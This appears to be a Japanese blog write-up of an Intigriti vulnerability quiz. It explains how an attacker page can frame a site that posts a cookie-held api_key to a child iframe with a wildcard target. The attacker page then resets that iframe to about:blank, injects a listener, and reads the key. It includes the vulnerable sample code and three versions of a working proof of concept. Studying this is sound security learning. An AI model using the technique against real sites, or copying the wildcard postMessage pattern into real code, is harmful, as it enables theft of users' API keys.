😈

【脆弱性クイズ】iframeのlocation

2022/12/14に公開

またまたintigriti社の脆弱性クイズです。今回は以前書いた記事以上によく分からなかったです。
前回の記事はこちら → https://zenn.dev/k41531/articles/e7498612cabe05

https://twitter.com/intigriti/status/1598296243448729600

クイズの概要

index.html

<head>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self';
                   script-src 'unsafe-inline';">
</head>
<script>
    setTimeout(() => {
        const value = `; ${document.cookie}`;
        const parts = value.split(`; api_key=`);
        let api_key = parts.pop().split(';').shift();
        frames[0].postMessage({'api_key' : api_key}, '*');
    }, 1337)
</script>
<iframe src="verify_api_key.html"></iframe>

verify_api_key.html

<script>
    function verify_api_key(api_key) { /* REDACTED */}
    onmessage = (e) => {
        verify_api_key(e.data.api_key);
    }
</script>

上記は、index.htmlのiframe内でverify_api_key.htmlを読み込み、cookieから取得したapi_keyの情報をverify_api_key.htmlにPOSTで送信して検証しているWebアプリのサンプルです。
これに対して何らかの攻撃を行い、api_keyの情報を窃取せよというのが課題でした。

私は上記のコードをローカル環境で動かして試してみました。

python -m http.server

http://127.0.0.1:8000

解答

こちらが解答動画ですが、見ただけでは理解が出来なかったので、順を追って理解していきます。
https://www.youtube.com/watch?v=jyGKpgWL0Lk

攻撃のとっかかり

今回の問題は入力する場所がないので手が出せそうにないのですが、「index.htmlをiframe化してしまえば良い」と次のペイロードが示されました。
poc.html

<script>
    function poc() {
        setTimeout(_ => {
            frames[0][0].document.write(
                `<script>
                    onmessage=function(e) {
                        top.postMessage(e.data, '*')}
                <\/script>`)
        }, 100)
        onmessage = function(e) {
            alert(e.data.api_key)
        }
    }
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>

攻撃用のコードも動かします。ただ、こちらは違うオリジンにしないといけないのでポートを変えました。

python -m http.server 7777

http://127.0.0.1:7777/poc.html

このコードではiframeタグでターゲットのURLが指定されています。index.htmlが読み込まれたらpoc関数を実行します。
setTimeOut関数は指定した時間後コールバック関数を呼び出すもので、今回は100ms後に呼び出されます。

次の内容が重要です。
framesはそのページ内のフレームを表します。よって、frames[0][0]は最初のフレームの中の最初のフレームを指すことになり、ここではpoc.htmlの中にあるindex.htmlの中にあるverify_api_key.htmlを指します。
https://developer.mozilla.org/ja/docs/Web/API/Window/frames

そして、document.writeを使ってスクリプトを書き込んでいます。onmessageはpostMessage()で送られたメッセージを受け取ります。
https://developer.mozilla.org/ja/docs/Web/API/Window/postMessage

最後に、topでウィンドウオブジェクトの階層における最上位のウィンドウ(poc.html)を指すため、top.postMessage()でpoc.htmlに対してメッセージを送るようにします。

ただ、これではうまくいきません。

CORS

CORSによってあるサイトから別のサイトへのオブジェクトのアクセスは禁止されているため、documentへのアクセスが拒否されています。

Uncaught DOMException: Permission denied to access property "document" on cross-origin object

それでは、frames[0][0].locationを変更することで、同じサイトであるように見せかけます。framse.locationは書き換えが可能なようです。
https://book.hacktricks.xyz/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location

<script>
    function poc() {
        frames[0][0].location = "http://127.0.0.1:7777"
        setTimeout(_ => {
            frames[0][0].document.write(
                `<script>
                    onmessage=function(e) {
                        top.postMessage(e.data, '*')}
                <\/script>`)
        }, 100)
        onmessage = function(e) {
            alert(e.data.api_key)
        }
    }
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>

しかし、ここではCSPでdefault-src 'self'を指定しているためこちらもブロックされます。

Content Security Policy: The page’s settings blocked the loading of a resource at http://127.0.0.1:7777/ (“default-src”). 

ただ、一つだけ抜け道があり、locationにabout:blankと指定するとCSPの違反にならなくなるようです。

<script>
    function poc() {
        frames[0][0].location = "about:blank"
        setTimeout(_ => {
            frames[0][0].document.write(
                `<script>
                    onmessage=function(e) {
                        top.postMessage(e.data, '*')}
                <\/script>`)
        }, 100)
        onmessage = function(e) {
            alert(e.data.api_key)
        }
    }
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>

これで、poc関数が正しく実行されapi_keyを盗むことができます。

Discussion